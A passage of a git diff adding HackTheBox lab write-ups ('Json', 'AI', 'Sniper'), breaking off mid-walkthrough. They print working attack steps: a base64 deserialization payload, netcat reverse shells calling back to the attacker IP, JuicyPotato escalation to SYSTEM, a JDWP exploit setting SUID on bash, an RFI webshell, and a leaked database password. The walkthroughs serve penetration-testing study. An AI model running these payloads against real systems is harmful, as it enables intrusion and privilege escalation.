ew0KICAgICckdHlwZSc6J1N5c3RlbS5XaW5kb3dzLkRhdGEuT2JqZWN0RGF0YVByb3ZpZGVyLCBQcmVzZW50YXRpb25GcmFtZXdvcmssIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj0zMWJmMzg1NmFkMzY0ZTM1JywgDQogICAgJ01ldGhvZE5hbWUnOidTdGFydCcsDQogICAgJ01ldGhvZFBhcmFtZXRlcnMnOnsNCiAgICAgICAgJyR0eXBlJzonU3lzdGVtLkNvbGxlY3Rpb25zLkFycmF5TGlzdCwgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5JywNCiAgICAgICAgJyR2YWx1ZXMnOlsnY21kJywgJy9jIFxcXFwxMC4xMC4xNC4xMVxcZWNoMFxcbmMuZXhlIDEwLjEwLjE0LjExIDkwMDEgLWUgY21kLmV4ZSddDQogICAgfSwNCiAgICAnT2JqZWN0SW5zdGFuY2UnOnsnJHR5cGUnOidTeXN0ZW0uRGlhZ25vc3RpY3MuUHJvY2VzcywgU3lzdGVtLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OSd9DQp9 + + + +Then inject the Bearer header with our b64 payload and hit send: + +![](prg/47_020.png) + +And from here we recieve the reverse shell connection back to our port 9001: + + + [ 10.10.14.11/23 ] [ /dev/pts/15 ] [~/HTB/json] + → nc -lvnp 9001 + listening on [any] 9001 ... + connect to [10.10.14.11] from (UNKNOWN) [10.10.10.158] 49545 + Microsoft Windows [Version 6.3.9600] + (c) 2013 Microsoft Corporation. All rights reserved. + + c:\windows\system32\inetsrv>whoami + whoami + json\userpool + + [...] + + c:\Users\userpool\Desktop>type user.txt + type user.txt + 34XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + +And that's it! We managed to get a shell as userpool, and we got the user flag. + +## **Part 3 : Getting Root Access** + +Now for some reason we can't use powershell because it takes forever to load: + + + [ 10.10.14.11/23 ] [ /dev/pts/15 ] [~/HTB/json] + → nc -lvnp 9001 + listening on [any] 9001 ... + connect to [10.10.14.11] from (UNKNOWN) [10.10.10.158] 49592 + Microsoft Windows [Version 6.3.9600] + (c) 2013 Microsoft Corporation. All rights reserved. + + c:\windows\system32\inetsrv>powershell + powershell + Windows PowerShell + Copyright (C) 2014 Microsoft Corporation. All rights reserved. + + whoami + ^C + + [ 10.10.14.11/23 ] [ /dev/pts/15 ] [~/HTB/json] + → nc -lvnp 9001 + + +So spawn the reverse shell again, and we see that we can print the system infos: + + + c:\windows\system32\inetsrv>systeminfo + systeminfo + + Host Name: JSON + **OS Name: Microsoft Windows Server 2012 R2 Datacenter** + OS Version: 6.3.9600 N/A Build 9600 + OS Manufacturer: Microsoft Corporation + OS Configuration: Standalone Server + OS Build Type: Multiprocessor Free + Registered Owner: Windows User + Registered Organization: + Product ID: 00252-80005-00001-AA602 + Original Install Date: 5/22/2019, 4:27:16 PM + System Boot Time: 6/20/2021, 8:54:58 AM + System Manufacturer: VMware, Inc. + System Model: VMware Virtual Platform + System Type: x64-based PC + Processor(s): 1 Processor(s) Installed. + [01]: AMD64 Family 23 Model 1 Stepping 2 AuthenticAMD ~2000 Mhz + BIOS Version: Phoenix Technologies LTD 6.00, 12/12/2018 + Windows Directory: C:\Windows + System Directory: C:\Windows\system32 + Boot Device: \Device\HarddiskVolume1 + System Locale: en-us;English (United States) + Input Locale: en-us;English (United States) + Time Zone: (UTC-05:00) Eastern Time (US & Canada) + Total Physical Memory: 6,143 MB + Available Physical Memory: 5,476 MB + Virtual Memory: Max Size: 7,167 MB + Virtual Memory: Available: 6,472 MB + Virtual Memory: In Use: 695 MB + Page File Location(s): C:\pagefile.sys + Domain: WORKGROUP + Logon Server: N/A + Hotfix(s): N/A + Network Card(s): 1 NIC(s) Installed. + [01]: vmxnet3 Ethernet Adapter + Connection Name: Ethernet0 2 + DHCP Enabled: No + IP address(es) + [01]: 10.10.10.158 + [02]: fe80::2dce:4a3f:8489:1791 + [03]: dead:beef::2dce:4a3f:8489:1791 + Hyper-V Requirements: A hypervisor has been detected. Features required for Hyper-V will not be displayed. + + + +Here we get a big hint that we can use [juicypotato]() because this is a Windows Server 2012 machine. You can see [here](https://github.com/ohpe/juicy-potato/tree/master/CLSID/Windows_Server_2012_Datacenter) that this is a supported version of windows, and we can attempt to run it with one of the CSLIDs specified on that page. + + + [ 10.10.14.11/23 ] [ /dev/pts/18 ] [~/HTB/json] + → wget https://github.com/ohpe/juicy-potato/releases/download/v0.1/JuicyPotato.exe -O nihilist/jp.exe + + + +I place it inside the nihilist directory that is being used for my smb server, then simply copy it onto the box: + + + cd ../../../../ + + c:\>mkdir Temp + mkdir Temp + + c:\>cd Temp + cd Temp + + c:\Temp>copy \\10.10.14.11\nihilist\jp.exe jp.exe + copy \\10.10.14.11\nihilist\jp.exe jp.exe + 1 file(s) copied. + + + +Now we get the netcat binary onto the box, and we create a .bat file that will execute it: + + + c:\Temp>copy \\10.10.14.11\nihilist\nc.exe nc.exe + copy \\10.10.14.11\nihilist\nc.exe nc.exe + 1 file(s) copied. + + c:\Temp>echo c:\Temp\nc.exe 10.10.14.11 9002 -e cmd.exe > privesc.bat + echo c:\Temp\nc.exe 10.10.14.11 9002 -e cmd.exe > privesc.bat + + c:\Temp>type privesc.bat + type privesc.bat + c:\Temp\nc.exe 10.10.14.11 9002 -e cmd.exe + + +Then we use juicypotato accordingly with the corresponding CSLID: + +![](prg/47_021.png) + + + c:\Temp> .\jp.exe -l 1337 -p c:\Temp\privesc.bat -t * -c {e60687f7-01a1-40aa-86ac-db1cbf673334} + .\jp.exe -l 1337 -p c:\Temp\privesc.bat -t * -c {e60687f7-01a1-40aa-86ac-db1cbf673334} + Testing {e60687f7-01a1-40aa-86ac-db1cbf673334} 1337 + .... + [+] authresult 0 + {e60687f7-01a1-40aa-86ac-db1cbf673334};NT AUTHORITY\SYSTEM + + [+] CreateProcessWithTokenW OK + + +And we get a reverse shell on our port 9002: + + + [ 10.10.14.11/23 ] [ /dev/pts/18 ] [~/HTB/json] + → nc -lvnp 9002 + listening on [any] 9002 ... + connect to [10.10.14.11] from (UNKNOWN) [10.10.10.158] 49705 + Microsoft Windows [Version 6.3.9600] + (c) 2013 Microsoft Corporation. All rights reserved. + + C:\Users\Administrator>whoami + whoami + nt authority\system + + C:\Users\Administrator>cd .. + cd .. + + C:\Users>cd superadmin + cd superadmin + + C:\Users\superadmin>cd Desktop + cd Desktop + + C:\Users\superadmin\Desktop>type root.txt + type root.txt + 3cXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + + +And that's it! We managed to print the root flag. + +## **Conclusion** + +Here we can see the progress graph : + +![](img/47_graph.png) + diff --git a/Medium/48.md b/Medium/48.md new file mode 100644 index 0000000..e61fcd4 --- /dev/null +++ b/Medium/48.md @@ -0,0 +1,327 @@ +# AI Writeup + +![](img/48.png) + +## Introduction : + +AI is a Medium linux box released back in November 2019. + +## **Part 1 : Initial Enumeration** + +As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sC** for default scripts and **-sV** to enumerate versions. + + + [ 10.10.14.26/23 ] [ /dev/pts/5 ] [~] + → ping 10.10.10.163 + PING 10.10.10.163 (10.10.10.163) 56(84) bytes of data. + 64 bytes from 10.10.10.163: icmp_seq=1 ttl=63 time=25.7 ms + 64 bytes from 10.10.10.163: icmp_seq=2 ttl=63 time=27.9 ms + 64 bytes from 10.10.10.163: icmp_seq=3 ttl=63 time=26.7 ms + ^C + --- 10.10.10.163 ping statistics --- + 3 packets transmitted, 3 received, 0% packet loss, time 2003ms + rtt min/avg/max/mdev = 25.710/26.775/27.874/0.883 ms + + [ 10.10.14.26/23 ] [ /dev/pts/5 ] [~] + → sudo nmap -vvv -sTU -p- 10.10.10.163 --max-retries 0 -Pn --min-rate=500 | grep Discovered + [sudo] password for nothing: + Discovered open port 80/tcp on 10.10.10.163 + Discovered open port 22/tcp on 10.10.10.163 + + [ 10.10.14.26/23 ] [ /dev/pts/5 ] [~] + → nmap -sCV -p80,22 10.10.10.163 + Starting Nmap 7.80 ( https://nmap.org ) at 2020-05-24 23:23 CEST + Nmap scan report for 10.10.10.163 + Host is up (0.030s latency). + + PORT STATE SERVICE VERSION + 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) + | ssh-hostkey: + | 2048 6d:16:f4:32:eb:46:ca:37:04:d2:a5:aa:74:ed:ab:fc (RSA) + | 256 78:29:78:d9:f5:43:d1:cf:a0:03:55:b1:da:9e:51:b6 (ECDSA) + |_ 256 85:2e:7d:66:30:a6:6e:30:04:82:c1:ae:ba:a4:99:bd (ED25519) + 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) + |_http-server-header: Apache/2.4.29 (Ubuntu) + |_http-title: Hello AI! + Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel + + Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . + Nmap done: 1 IP address (1 host up) scanned in 9.55 seconds + + +## **Part 2 : Getting User Access** + +Our nmap scan picked up port 80 so let's investigate it with dirsearch: + +![](prg/48_001.png) + +To the top right is a certain logo to which is a menu taking us to various php webpages: + + + [ 10.10.14.26/23 ] [ /dev/pts/6 ] [/usr/share/wordlists] + → curl -sk http://10.10.10.163 | grep nav-li + .nav-li + .nav-li a { + .nav-li a:after { + .nav-li a:hover:after { + <****li class="nav-li"> <****a href="index.php">Home <****/a> <****/li> <****li class="nav-li"> <****a href="about.php">About <****/a> <****/li> <****li class="nav-li"> <****a href="ai.php">AI <****/a> <****/li> <****li class="nav-li"> <****a href="contact.php">Contact <****/a> <****/li> + $(".nav-li").slideDown(500); + $(".nav-li").slideUp(500); + +So going to each of these pages we are greeted with a few interesting informations about the website: + +![](prg/48_002.png) + +So we here we have an username : MrR3boot, a domain name ai.htb, and most importantly we're hinted towards a wav file upload php page, which is supposedly processed by Artificial Intelligence. + +![](prg/48_003.png) + +Hitting CTRL+U to view the sourcecode of the ai.php page, we see that the file upload is a post method, which, as expected expects us to drop in a file for it to be processed. In the background, let's run gobuster to see if there are any other php files that we can find: + + + + [ 10.10.14.26/23 ] [ /dev/pts/5 ] [~] + → gobuster dir -w /usr/share/wordlists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 50 -u http://10.10.10.163 -x php + =============================================================== + Gobuster v3.1.0 + by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) + =============================================================== + [+] Url: http://10.10.10.163 + [+] Method: GET + [+] Threads: 50 + [+] Wordlist: /usr/share/wordlists/Discovery/Web-Content/directory-list-2.3-medium.txt + [+] Status codes: 200,204,301,302,307,401,403 + [+] User Agent: gobuster/3.1.0 + [+] Extensions: php + [+] Timeout: 10s + =============================================================== + 2020/05/24 23:58:39 Starting gobuster in directory enumeration mode + =============================================================== + /images (Status: 301) + /index.php (Status: 200) + /uploads (Status: 301) + /contact.php (Status: 200) + /about.php (Status: 200) + /db.php (Status: 200) + /intelligence.php (Status: 200) + /ai.php (Status: 200) + /server-status (Status: 403) + + =============================================================== + 2020/05/25 00:03:48 Finished + =============================================================== + + [ 10.10.14.26/23 ] [ /dev/pts/6 ] [/usr/share/wordlists] + → curl -sk http://10.10.10.163/db.php | wc -l + 0 + + [ 10.10.14.26/23 ] [ /dev/pts/6 ] [~/_HTB/AI] + → curl -sk http://10.10.10.163/intelligence.php | wc -l + 272 + + + +Apparently there's a db.php webpage but it seems to be empty, So we take a look at intelligence.php which we know isn't empty: + +![](prg/48_004.png) + +here we see that we should be able to pass a few sketchy terms such as C code or sql comments, even sql union code if the AI in question is able to pick up what we want correctly from the .wav file we give it. We can use [ttsmp3.com](https://ttsmp3.com/) for that: + + + open single kwote. union select password from users comment database + + + +` ![](prg/48_006.png) + + + [ 10.10.14.11/23 ] [ /dev/pts/4 ] [~/HTB/AI] + → cp ~/Downloads/ttsMP3.com_VoiceText_2021-6-20_11\ 2\ 37.mp3 injection.mp3 + + [ 10.10.14.11/23 ] [ /dev/pts/4 ] [~/HTB/AI] + → ffmpeg -i injection.mp3 injection.wav + + + +We convert the file to wav for the box and submit it: + +![](prg/48_007.png) ![](prg/48_008.png) + +And we get a password! Now the username for this box is 'alexa' because that was the box's previous name, so let's try to login via SSH: + + + [ 10.10.14.11/23 ] [ /dev/pts/4 ] [~/HTB/AI] + → ssh alexa@10.10.10.163 + The authenticity of host '10.10.10.163 (10.10.10.163)' can't be established. + ECDSA key fingerprint is SHA256:ghI7byxujOo6BLzCOPFbXgVPMmJVCoRsMuPs3zBgRQM. + Are you sure you want to continue connecting (yes/no/[fingerprint])? yes + Warning: Permanently added '10.10.10.163' (ECDSA) to the list of known hosts. + alexa@10.10.10.163's password: **H,Sq9t6}a <)?q93_** + Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 5.3.7-050307-generic x86_64) + + * Documentation: https://help.ubuntu.com + * Management: https://landscape.canonical.com + * Support: https://ubuntu.com/advantage + + System information as of Sun Jun 20 16:18:37 UTC 2021 + + System load: 0.17 Processes: 147 + Usage of /: 27.9% of 19.56GB Users logged in: 0 + Memory usage: 26% IP address for eth0: 10.10.10.163 + Swap usage: 0% + + + * Canonical Livepatch is available for installation. + - Reduce system reboots and improve kernel security. Activate at: + https://ubuntu.com/livepatch + + 63 packages can be updated. + 15 updates are security updates. + + + + The programs included with the Ubuntu system are free software; + the exact distribution terms for each program are described in the + individual files in /usr/share/doc/*/copyright. + + Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by + applicable law. + + Last login: Thu Oct 24 15:04:38 2019 from 192.168.0.104 + alexa@AI:~$ id + uid=1000(alexa) gid=1000(alexa) groups=1000(alexa) + alexa@AI:~$ cat user.txt + c4XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + + +And that's it! We managed to get the user flag. + +## **Part 3 : Getting Root Access** + +Now once we're on the box we're going to use linpeas.sh: + + + alexa@AI:~$ which wget curl python python3 + /usr/bin/wget + /usr/bin/curl + /usr/bin/python + /usr/bin/python3 + alexa@AI:~$ wget http://10.10.14.11:9090/linpeas.sh -O /tmp/peas.sh ; chmod +x /tmp/peas.sh ; /tmp/peas.sh + + + +` ![](prg/48_009.png) + +Now scrolling down, we see that we have a hint towards a java command that's being run as the root user: + +![](prg/48_010.png) + +In this giant java process being ran by root, we are hinted towards a **java debugging wire protocol** service, and it probably doesn't require any authentication. We also see that it listens on the local port **8000** , but probably only accepts localhost connections, so we're going to use a [SSH tunnel](../Tools/sshtunnels.html) to port forward the remote port 8000 to our local machine on port **8000** : + + + alexa@AI:~$ netstat -tulpen + (Not all processes could be identified, non-owned process info + will not be shown, you would have to be root to see it all.) + Active Internet connections (only servers) + Proto Recv-Q Send-Q Local Address Foreign Address State User Inode PID/Program name + tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN 101 32516 - + tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN 0 40453 - + **tcp 0 0 127.0.0.1:8000 0.0.0.0:* LISTEN 0 114355 -** + tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN 111 39858 - + tcp6 0 0 127.0.0.1:8080 :::* LISTEN 0 114364 - + tcp6 0 0 :::80 :::* LISTEN 0 40656 - + tcp6 0 0 :::22 :::* LISTEN 0 40467 - + tcp6 0 0 127.0.0.1:8005 :::* LISTEN 0 114375 - + tcp6 0 0 127.0.0.1:8009 :::* LISTEN 0 114368 - + udp 0 0 127.0.0.53:53 0.0.0.0:* 101 32515 - + udp 0 0 0.0.0.0:55487 0.0.0.0:* 114 38363 - + udp 0 0 0.0.0.0:5353 0.0.0.0:* 114 38361 - + udp6 0 0 :::41753 :::* 114 38364 - + udp6 0 0 :::5353 :::* 114 38362 - + alexa@AI:~$ + + +Here you can see that the port is listening on port 8000, so we really need to port forward it: + + + [ 10.10.14.11/23 ] [ /dev/pts/18 ] [~/HTB/AI] + → ssh alexa@10.10.10.163 -L 8000:127.0.0.1:8000 + + + +Now let's get an exploit for the jdwp service: + + + [ 10.10.14.11/23 ] [ /dev/pts/19 ] [~/HTB/AI] + → searchsploit jdwp + --------------------------------------------------------------------------------------------- --------------------------------- + Exploit Title | Path + --------------------------------------------------------------------------------------------- --------------------------------- + Java Debug Wire Protocol (JDWP) - Remote Code Execution | java/remote/46501.py + --------------------------------------------------------------------------------------------- --------------------------------- + Shellcodes: No Results + + +We're going to use the 46501.py exploit on the port we just forwarded: + + + [ 10.10.14.11/23 ] [ /dev/pts/19 ] [~/HTB/AI] + → python 46501.py -t localhost -p 8000 --cmd "chmod u+s /bin/bash" + [+] Targeting 'localhost:8000' + [+] Reading settings for 'OpenJDK 64-Bit Server VM - 11.0.4' + [+] Found Runtime class: id=b8d + [+] Found Runtime.getRuntime(): id=7f9e3003e810 + [+] Created break event id=2 + [+] Waiting for an event on 'java.net.ServerSocket.accept' + + + +Now to trigger our payload we need to curl the box's local port 8005: + + + alexa@AI:~$ curl 127.0.0.1:8005 + curl: (56) Recv failure: Connection reset by peer + alexa@AI:~$ + + + +And we see that the exploit finishes and the command should have been executed as the root user: + + + [ 10.10.14.11/23 ] [ /dev/pts/19 ] [~/HTB/AI] + → python 46501.py -t localhost -p 8000 --cmd "chmod u+s /bin/bash" + [+] Targeting 'localhost:8000' + [+] Reading settings for 'OpenJDK 64-Bit Server VM - 11.0.4' + [+] Found Runtime class: id=b8d + [+] Found Runtime.getRuntime(): id=7f9e3003e810 + [+] Created break event id=2 + [+] Waiting for an event on 'java.net.ServerSocket.accept' + [+] Received matching event from thread 0x1 + [+] Selected payload 'chmod u+s /bin/bash' + [+] Command string object created id:c32 + [+] Runtime.getRuntime() returned context id:0xc33 + [+] found Runtime.exec(): id=7f9e3003e848 + [+] Runtime.exec() successful, retId=c34 + [!] Command successfully executed + + + +So let's verify it: + + + alexa@AI:~$ /bin/bash -p + bash-4.4# id + uid=1000(alexa) gid=1000(alexa) euid=0(root) groups=1000(alexa) + bash-4.4# cat /root/root.txt + 0eXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + +And that's it! We managed to get a root RCE to get a root shell and get the root flag. + +## **Conclusion** + +Here we can see the progress graph : + +![](img/48_graph.png) + diff --git a/Medium/49.md b/Medium/49.md new file mode 100644 index 0000000..08ffe84 --- /dev/null +++ b/Medium/49.md @@ -0,0 +1,615 @@ +# Sniper Writeup + +![](img/49.png) + +## Introduction : + +Sniper is a medium Windows box released back in October 2019. + +## **Part 1 : Initial Enumeration** + +As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sC** for default scripts and **-sV** to enumerate versions. + + + [ 10.10.14.11/23 ] [ /dev/pts/19 ] [~/HTB/sniper] + → nmap -vvv -p- 10.10.10.151 --max-retries 0 -Pn --min-rate=500 2>/dev/null | grep Discovered + Discovered open port 80/tcp on 10.10.10.151 + Discovered open port 139/tcp on 10.10.10.151 + Discovered open port 445/tcp on 10.10.10.151 + Discovered open port 135/tcp on 10.10.10.151 + + + [ 10.10.14.11/23 ] [ /dev/pts/19 ] [~/HTB/sniper] + → nmap -sCV -p80,135,139,445 10.10.10.151 + Starting Nmap 7.91 ( https://nmap.org ) at 2021-06-21 09:48 CEST + Nmap scan report for 10.10.10.151 + Host is up (0.47s latency). + + PORT STATE SERVICE VERSION + 80/tcp open http Microsoft IIS httpd 10.0 + | http-methods: + |_ Potentially risky methods: TRACE + |_http-server-header: Microsoft-IIS/10.0 + |_http-title: Sniper Co. + 135/tcp open msrpc Microsoft Windows RPC + 139/tcp open netbios-ssn Microsoft Windows netbios-ssn + 445/tcp open microsoft-ds? + Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows + + Host script results: + |_clock-skew: 7h08m01s + | smb2-security-mode: + | 2.02: + |_ Message signing enabled but not required + | smb2-time: + | date: 2021-06-21T14:56:56 + |_ start_date: N/A + + Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . + Nmap done: 1 IP address (1 host up) scanned in 76.69 seconds + + + +## **Part 2 : Getting User Access** + +Our nmap scan picked up port 80 so let's investigate it: + +![](prg/49_001.png) ![](prg/49_002.png) + +We create an account and try to log into it: + +![](prg/49_003.png) ![](prg/49_005.png) + +However we see that the website seems to be a work in progress. So instead we take a look at the blog: + +![](prg/49_006.png) ![](prg/49_007.png) + +Now here we see that there is a **lang** parameter. Let's see if this is vulnerable to Remote File Inclusion (RFI): + + + [ 10.10.14.11/23 ] [ /dev/pts/4 ] [~/HTB/sniper] + → mkdir nihilist + + [ 10.10.14.11/23 ] [ /dev/pts/19 ] [~/HTB/sniper] + → wget https://raw.githubusercontent.com/WhiteWinterWolf/wwwolf-php-webshell/master/webshell.php -O nihilist/webshell.php + --2021-06-21 11:12:59-- https://raw.githubusercontent.com/WhiteWinterWolf/wwwolf-php-webshell/master/webshell.php + Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 185.199.110.133, 185.199.111.133, 185.199.108.133, ... + Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|185.199.110.133|:443... connected. + HTTP request sent, awaiting response... 200 OK + Length: 7205 (7.0K) [text/plain] + Saving to: ‘nihilist/webshell.php’ + + nihilist/webshell.php 100%[======================================================================================================================================================>] 7.04K --.-KB/s in 0.003s + + 2021-06-21 11:13:01 (2.74 MB/s) - ‘nihilist/webshell.php’ saved [7205/7205] + + nihilist/webshell.php 100%[======================================================================================================================================================>] 25.74K --.-KB/s in 0.07s + + 2021-06-21 09:57:56 (356 KB/s) - ‘nihilist/webshell.php’ saved [26361/26361] + + [ 10.10.14.11/23 ] [ /dev/pts/25 ] [~/HTB/sniper] + → echo '"RFI Successful !" -echo' > nihilist/rfi.html + + [ 10.10.14.11/23 ] [ /dev/pts/25 ] [~/HTB/sniper] + → tree + . + └── nihilist + ├── rfi.html + └── webshell.php + + 1 directory, 2 files + + [ 10.10.14.11/23 ] [ /dev/pts/4 ] [~/HTB/sniper] + → impacket-smbserver -smb2support nihilist nihilist + Impacket v0.9.23.dev1+20210519.170900.2f5c2476 - Copyright 2020 SecureAuth Corporation + + [*] Config file parsed + [*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0 + [*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0 + [*] Config file parsed + [*] Config file parsed + [*] Config file parsed + + + +Now let's try to browse to our php webshell: + + + http://10.10.10.151/blog/?lang=\\10.10.14.11\nihilist\webshell.php + + + +Now when we browse to it we see that the page can't be loaded for some reason, however we do get the box connecting back to us: + + + [ 10.10.14.11/23 ] [ /dev/pts/4 ] [~/HTB/sniper] + → impacket-smbserver -smb2support nihilist nihilist + Impacket v0.9.23.dev1+20210519.170900.2f5c2476 - Copyright 2020 SecureAuth Corporation + + [*] Config file parsed + [*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0 + [*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0 + [*] Config file parsed + [*] Config file parsed + [*] Config file parsed + [*] Incoming connection (10.10.10.151,49680) + [*] AUTHENTICATE_MESSAGE (\,SNIPER) + [*] User SNIPER\ authenticated successfully + [*] :::00::aaaaaaaaaaaaaaaa + [*] Closing down connection (10.10.10.151,49680) + [*] Remaining connections [] + [*] Incoming connection (10.10.10.151,49681) + [*] AUTHENTICATE_MESSAGE (\,SNIPER) + [*] User SNIPER\ authenticated successfully + [*] :::00::aaaaaaaaaaaaaaaa + [*] Closing down connection (10.10.10.151,49681) + [*] Remaining connections [] + [*] Incoming connection (10.10.10.151,49682) + [*] AUTHENTICATE_MESSAGE (\,SNIPER) + [*] User SNIPER\ authenticated successfully + [*] :::00::aaaaaaaaaaaaaaaa + + + +The reason for this, is that impacket-smbserver isn't the most well written tool, so instead we're going to use smbd: + + + [ 10.10.14.11/23 ] [ /dev/pts/28 ] [~] + → vim /etc/samba/smb.conf + + [...] + + [nihilist] + comment = nihilist's profile + path = /srv/smb/ + writable = no + guest ok = yes + guest only = yes + read only = yes + browseable = no + create mask = 0600 + directory mask = 0700 + + + :wq + + [ 10.10.14.11/23 ] [ /dev/pts/25 ] [~/HTB/sniper] + → systemctl start smbd + ==== AUTHENTICATING FOR org.freedesktop.systemd1.manage-units === + Authentication is required to start 'smbd.service'. + Authenticating as: nothing,,, (nothing) + Password: + ==== AUTHENTICATION COMPLETE === + + [ 10.10.14.11/23 ] [ /dev/pts/25 ] [~/HTB/sniper] + → systemctl status smbd + ● smbd.service - Samba SMB Daemon + Loaded: loaded (/lib/systemd/system/smbd.service; disabled; vendor preset: disabled) + Active: active (running) since Mon 2021-06-21 11:28:32 CEST; 3s ago + Docs: man:smbd(8) + man:samba(7) + man:smb.conf(5) + Process: 2386294 ExecStartPre=/usr/share/samba/update-apparmor-samba-profile (code=exited, status=0/SUCCESS) + Main PID: 2386303 (smbd) + Status: "smbd: ready to serve connections..." + Tasks: 4 (limit: 38376) + Memory: 14.6M + CPU: 126ms + CGroup: /system.slice/smbd.service + ├─2386303 /usr/sbin/smbd --foreground --no-process-group + ├─2386306 /usr/sbin/smbd --foreground --no-process-group + ├─2386307 /usr/sbin/smbd --foreground --no-process-group + └─2386349 /usr/sbin/smbd --foreground --no-process-group + + +we move the webshell in the new path: + + + [ 10.10.14.11/23 ] [ /dev/pts/25 ] [~/HTB/sniper] + → sudo mkdir /srv/smb/ + + [ 10.10.14.11/23 ] [ /dev/pts/25 ] [~/HTB/sniper] + → sudo mv nihilist/webshell.php /srv/smb/webshell.php + + + +And we browse to it: + +![](prg/49_008.png) + +Now that we have successfully got our RFI, and command execution as **iusr** , we can start poking around the server more: + +![](prg/49_009.png) ![](prg/49_010.png) + +Now here we're going to upload the netcat binary to get a reverse shell: + +![](prg/49_011.png) + + + [ 10.10.14.11/23 ] [ /dev/pts/25 ] [~/HTB/sniper] + → nc -lvnp 9001 + listening on [any] 9001 ... + + + +` ![](prg/49_012.png) + +And here we get the reverse shell connection: + + + [ 10.10.14.11/23 ] [ /dev/pts/25 ] [~/HTB/sniper] + → nc -lvnp 9001 + listening on [any] 9001 ... + connect to [10.10.14.11] from (UNKNOWN) [10.10.10.151] 49739 + Microsoft Windows [Version 10.0.17763.678] + (c) 2018 Microsoft Corporation. All rights reserved. + + C:\temp>whoami + whoami + nt authority\iusr + + + +And here we get a reverse shell as the iusr user, let's see if we have access to the user flag: + + + + C:\temp>cd .. + cd .. + + C:\>cd Users + cd Users + + C:\Users>dir + dir + Volume in drive C has no label. + Volume Serial Number is 6A2B-2640 + + Directory of C:\Users + + 04/11/2019 07:04 AM DIR> . + 04/11/2019 07:04 AM DIR> .. + 04/09/2019 06:47 AM DIR> Administrator + 04/11/2019 07:04 AM DIR> Chris + 04/09/2019 06:47 AM DIR> Public + 0 File(s) 0 bytes + 5 Dir(s) 17,987,223,552 bytes free + + C:\Users>cd Chris + cd Chris + Access is denied. + + + +Looks like we don't, so we will probably need to privesc to the Chris user. + + + C:\Users>powershell + powershell + Windows PowerShell + Copyright (C) Microsoft Corporation. All rights reserved. + + PS C:\Users> ls + ls + + + Directory: C:\Users + + + Mode LastWriteTime Length Name + ---- ------------- ------ ---- + d----- 4/9/2019 6:47 AM Administrator + d----- 4/11/2019 7:04 AM Chris + d-r--- 4/9/2019 6:47 AM Public + + + +Now before we move on, we need to take a look at the **db.php** file: + + + PS C:\Users> type C:\inetpub\wwwroot\user\db.php + type C:\inetpub\wwwroot\user\db.php + <****?php + // Enter your Host, username, password, database below. + // I left password empty because i do not set password on localhost. + $con = mysqli_connect("localhost","dbuser","36mEAhz/B8xQ~2VM","sniper"); + // Check connection + if (mysqli_connect_errno()) + { + echo "Failed to connect to MySQL: " . mysqli_connect_error(); + } + ?****> + +Since Powershell is on the box and we have a potential password for the user Chris, let's see if we acn use the **Invoke-Command** utility to execute comamnds as the chris user: + + + PS C:\Users> $password = "36mEAhz/B8xQ~2VM" | ConvertTo-SecureString -asPlainText -Force + PS C:\Users> $username = "nt authority\Chris" + + PS C:\Users> $credential = New-Object System.Management.Automation.PSCredential($username,$password) + PS C:\Users> echo $credential + + UserName Password + -------- -------- + nt authority\Chris System.Security.SecureString + + + +Now that we have created the credential variable, we can try the Invoke-Command as chris: + + + PS C:\Users> Invoke-Command -ComputerName sniper -Credential $credential -ScriptBlock {whoami} + Invoke-Command -ComputerName sniper -Credential $credential -ScriptBlock {whoami} + sniper\chris + + + +And we managed to get code execution as the chris user! So now let's spawn another reverse shell as chris this time: + + + [ 10.10.14.11/23 ] [ /dev/pts/21 ] [~/HTB/sniper] + → cp /home/nothing/HTB/json/nc64.exe . + + [ 10.10.14.11/23 ] [ /dev/pts/21 ] [~/HTB/sniper] + → python3 -m http.server 8080 + Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ... + + + +Now we get nc64.exe onto the box using the chris user: + + + PS C:\temp> Invoke-Command -ComputerName sniper -Credential $credential -ScriptBlock {mkdir C:\temp4chris} + + Directory: C:\ + + + Mode LastWriteTime Length Name PSComputerName + ---- ------------- ------ ---- -------------- + d----- 6/21/2021 10:56 AM temp4chris sniper + + PS C:\temp> Invoke-Command -ComputerName sniper -Credential $credential -ScriptBlock {iwr -uri http://10.10.14.11:8080/nc64.exe -o c:\temp4chris\nc64.exe} + + PS C:\temp> Invoke-Command -ComputerName sniper -Credential $credential -ScriptBlock {c:\temp4chris\nc64.exe 10.10.14.11 9002 -e cmd.exe} + + + +Now we catch the incoming reverse shell connection as the chris user on our port 9002: + + + [ 10.10.14.11/23 ] [ 